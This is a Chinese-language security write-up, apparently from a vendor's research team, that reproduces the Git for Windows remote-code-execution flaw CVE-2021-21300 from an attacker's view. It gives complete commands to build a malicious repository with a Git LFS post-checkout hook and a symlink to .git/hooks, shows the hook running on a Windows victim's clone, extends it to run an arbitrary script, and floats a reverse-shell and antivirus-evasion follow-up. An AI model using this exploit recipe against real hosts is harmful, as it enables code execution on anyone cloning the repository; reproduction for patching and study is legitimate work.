git多個版本中,對符號連結處理不嚴格。在大小寫敏感(例如Linux)的檔案系統上傳檔案到git後,使用大小寫不敏感檔案系統(例如Windows)的主機克隆惡意倉庫時可能導致遠端命令執行。
本文由錦行科技的安全研究團隊提供,從攻擊者的角度還原了Git-RCE的滲透過程。
觸發條件:
01復現
01 環境準備
倉庫準備:
系統:ubuntux64
需安裝 git、git-lfs
執行 git lfs install
命令可能會報錯
Error: Failed to call git rev-parse --git-dir: exit status 128
可以忽略
出現Git LFS initialized.
即完成安裝
受害機:
系統:win10x64
git for window:Git-2.17.1-64-bit
(https://www.npackd.org/p/git64/2.17.1.2)
git for window 的安裝全為預設即可
02 惡意倉庫準備
在github新建倉庫:
網上相應教程很多,不贅述
在ubuntu構建惡意倉庫並上傳到github:
執行命令如下
$ git init delayed-checkout
$ cd delayed-checkout &&
echo "A/post-checkout filter=lfs diff=lfs merge=lfs">.gitattributes &&
mkdir A &&
printf '#!/bin/sh\n\necho PWNED >&2\n'>A/post-checkout &&
chmod +x A/post-checkout &&
>A/a &&
>A/b &&
git add -A &&
rm -rf A &&
ln -s .git/hooks a &&
git add a &&
git commit -m initial
$ git branch -M main
$ git remote add origin [自己的倉庫地址]
$ git push -u origin main
檢視github倉庫,校驗各檔案內容是否正確,需如下顯示:
03 攻擊測試
在win10提供的powershell(管理員)中執行命令如下:
> git clone -c core.symlinks=true [自己的倉庫地址]
clone後出現 PWNED 即為遠端命令執行成功
可見,在clone時,執行了post-checkout檔案中的命令。
思路是使用IEX下載指令碼,然後透過kali監聽獲取shell,但大多數指令碼都會被識別阻止,透過免殺繞過應該能夠實現。
04 擴充套件利用
在目錄中新增指令碼檔案hack.sh
內容如下
#!/bin/sh
#################
echo "script working..." &&
cd / &&
pwd &&
mkdir hack
cd hack &&
touch hacked &&
echo "you has been hacked">hacked &&
echo "done!"
修改post-checkout中執行的命令以執行指令碼
printf '#!/bin/sh\n\necho PWNED\n\n./hack.sh >&2\n'>A/post-checkout
受害機演示:
在受害機中拉取惡意倉庫,可見指令碼執行成功
02 復現中遇到的問題
以下列舉在git中可能會存在的各種玄學錯誤:
01git的連結錯誤
如下錯誤
Failed to connect to github.com port 443: Connection refused
destination path 'CVE-2021-21300' already exists and is not an empty directory
解決方法:
可以使用代理或者更換代理節點
稍等一段時間後重試
02already exists and is not an empty directory
如下錯誤:
fatal: destination path 'CVE-2021-21300' already exists and is not an empty directory.
解決方法:
重新clone需要刪除原有檔案
03 warning:Clone succeeded, but checkout failed
如下錯誤:
error: unable to create file A/post-checkout: No such file or directory
fatal: unable to checkout working tree
warning: Clone succeeded, but checkout failed.
You can inspect what was checked out with 'git status'
and retry the checkout with 'git checkout -f HEAD'
解決方法:
clone時需要新增引數 -c core.symlinks=true
開啟git對符號連結的支援
04 Encountered 1 file(s) that should have been pointers, but weren't : A/post-checkout
解決方法:
在構造惡意倉庫時發生錯誤,重新檢查各需要檢查的檔案內容是否正確,軟連結是否正確
05 Error when cloning a repo - Smudge error, error: external filter 'git-lfs filter-process' failed, smudge filter lfs failed
解決方法:
檢查惡意倉庫中的lfs檔案是否正確儲存到Git Lfs上
References
https://www.openwall.com/lists/oss-security/2021/03/09/3
https://github.com/Maskhe/CVE-2021-21300